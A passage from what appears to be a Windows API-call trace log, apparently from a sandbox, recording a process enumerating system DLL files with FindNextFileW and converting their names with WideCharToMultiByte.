lpMultiByteStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0248.730] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-service-core-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0248.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0xa8c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0248.730] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-service-management-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0248.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xa8c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0248.730] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d09eb7b, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d09eb7b, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-service-management-l2-1-0.dll", cAlternateFileName="")) returned 1 [0248.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0248.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xa8c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0248.731] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-service-winsvc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0248.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0xa8c288, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0248.731] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7821a163, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7821a163, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="apilogen.dll", cAlternateFileName="")) returned 1 [0248.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APILOGEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.731] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1f2f92c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc1f2f92c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x545448, dwReserved1=0x0, cFileName="apircl.dll", cAlternateFileName="")) returned 1 [0248.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0xa8c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APIRCL.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.731] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de74afe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2de74afe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf261dbf0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="apisetschema.dll", cAlternateFileName="")) returned 1 [0248.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0248.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0xa8c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APISETSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 16 [0248.731] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92c3856c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92c3856c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c5e6cc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x48400, dwReserved0=0x545448, dwReserved1=0x0, cFileName="apphelp.dll", cAlternateFileName="")) returned 1 [0248.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0xa8c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.731] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4c40da, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7a4c40da, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x545448, dwReserved1=0x0, cFileName="Apphlpdm.dll", cAlternateFileName="")) returned 1 [0248.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHLPDM.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.731] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc6b7842, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xcc6b7842, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e608600, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x545448, dwReserved1=0x0, cFileName="appidapi.dll", cAlternateFileName="")) returned 1 [0248.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDAPI.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.731] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29cc968, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd29cc968, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e6540f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31a00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="AppIdPolicyEngineApi.dll", cAlternateFileName="")) returned 1 [0248.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0248.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0xa8c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDPOLICYENGINEAPI.DLL", lpUsedDefaultChar=0x0) returned 24 [0248.732] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98006f9, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x98006f9, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e6c6ce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="appmgmts.dll", cAlternateFileName="")) returned 1 [0248.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGMTS.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.732] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c14fdd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c14fdd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c6129e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53000, dwReserved0=0x545448, dwReserved1=0x0, cFileName="appmgr.dll", cAlternateFileName="")) returned 1 [0248.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0xa8c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGR.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.732] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc81f8794, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc81f8794, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e6eb6d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="apss.dll", cAlternateFileName="")) returned 1 [0248.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0xa8c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APSS.DLL", lpUsedDefaultChar=0x0) returned 8 [0248.732] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c9efbc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x31c9efbc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf2a6d430, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="asferror.dll", cAlternateFileName="")) returned 1 [0248.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASFERROR.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.732] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57090500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x545448, dwReserved1=0x0, cFileName="aspnet_counters.dll", cAlternateFileName="")) returned 1 [0248.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0248.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0xa8c288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASPNET_COUNTERS.DLL", lpUsedDefaultChar=0x0) returned 19 [0248.732] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e661b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84e661b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84e661b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="asycfilt.dll", cAlternateFileName="")) returned 1 [0248.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASYCFILT.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.732] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2b74b, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x2d2b74b, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x805466c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x545448, dwReserved1=0x0, cFileName="atl.dll", cAlternateFileName="")) returned 1 [0248.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0xa8c288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL.DLL", lpUsedDefaultChar=0x0) returned 7 [0248.732] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b0b4600, ftCreationTime.dwHighDateTime=0x1cc2787, ftLastAccessTime.dwLowDateTime=0xcc438260, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x4b0b4600, ftLastWriteTime.dwHighDateTime=0x1cc2787, nFileSizeHigh=0x0, nFileSizeLow=0x21b48, dwReserved0=0x545448, dwReserved1=0x0, cFileName="atl100.dll", cAlternateFileName="")) returned 1 [0248.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0xa8c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL100.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.733] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29b8ce00, ftCreationTime.dwHighDateTime=0x1ce64f7, ftLastAccessTime.dwLowDateTime=0xef797c80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x29b8ce00, ftLastWriteTime.dwHighDateTime=0x1ce64f7, nFileSizeHigh=0x0, nFileSizeLow=0x28248, dwReserved0=0x545448, dwReserved1=0x0, cFileName="atl110.dll", cAlternateFileName="")) returned 1 [0248.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0xa8c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL110.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.733] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9363019e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9363019e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936562fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47e00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="atmfd.dll", cAlternateFileName="")) returned 1 [0248.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0248.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0xa8c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMFD.DLL", lpUsedDefaultChar=0x0) returned 9 [0248.733] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9360a03e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9360a03e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9363019e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x545448, dwReserved1=0x0, cFileName="atmlib.dll", cAlternateFileName="")) returned 1 [0248.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0xa8c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMLIB.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.733] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4204ec3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4204ec3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4204ec3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3b800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="audiodev.dll", cAlternateFileName="")) returned 1 [0248.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 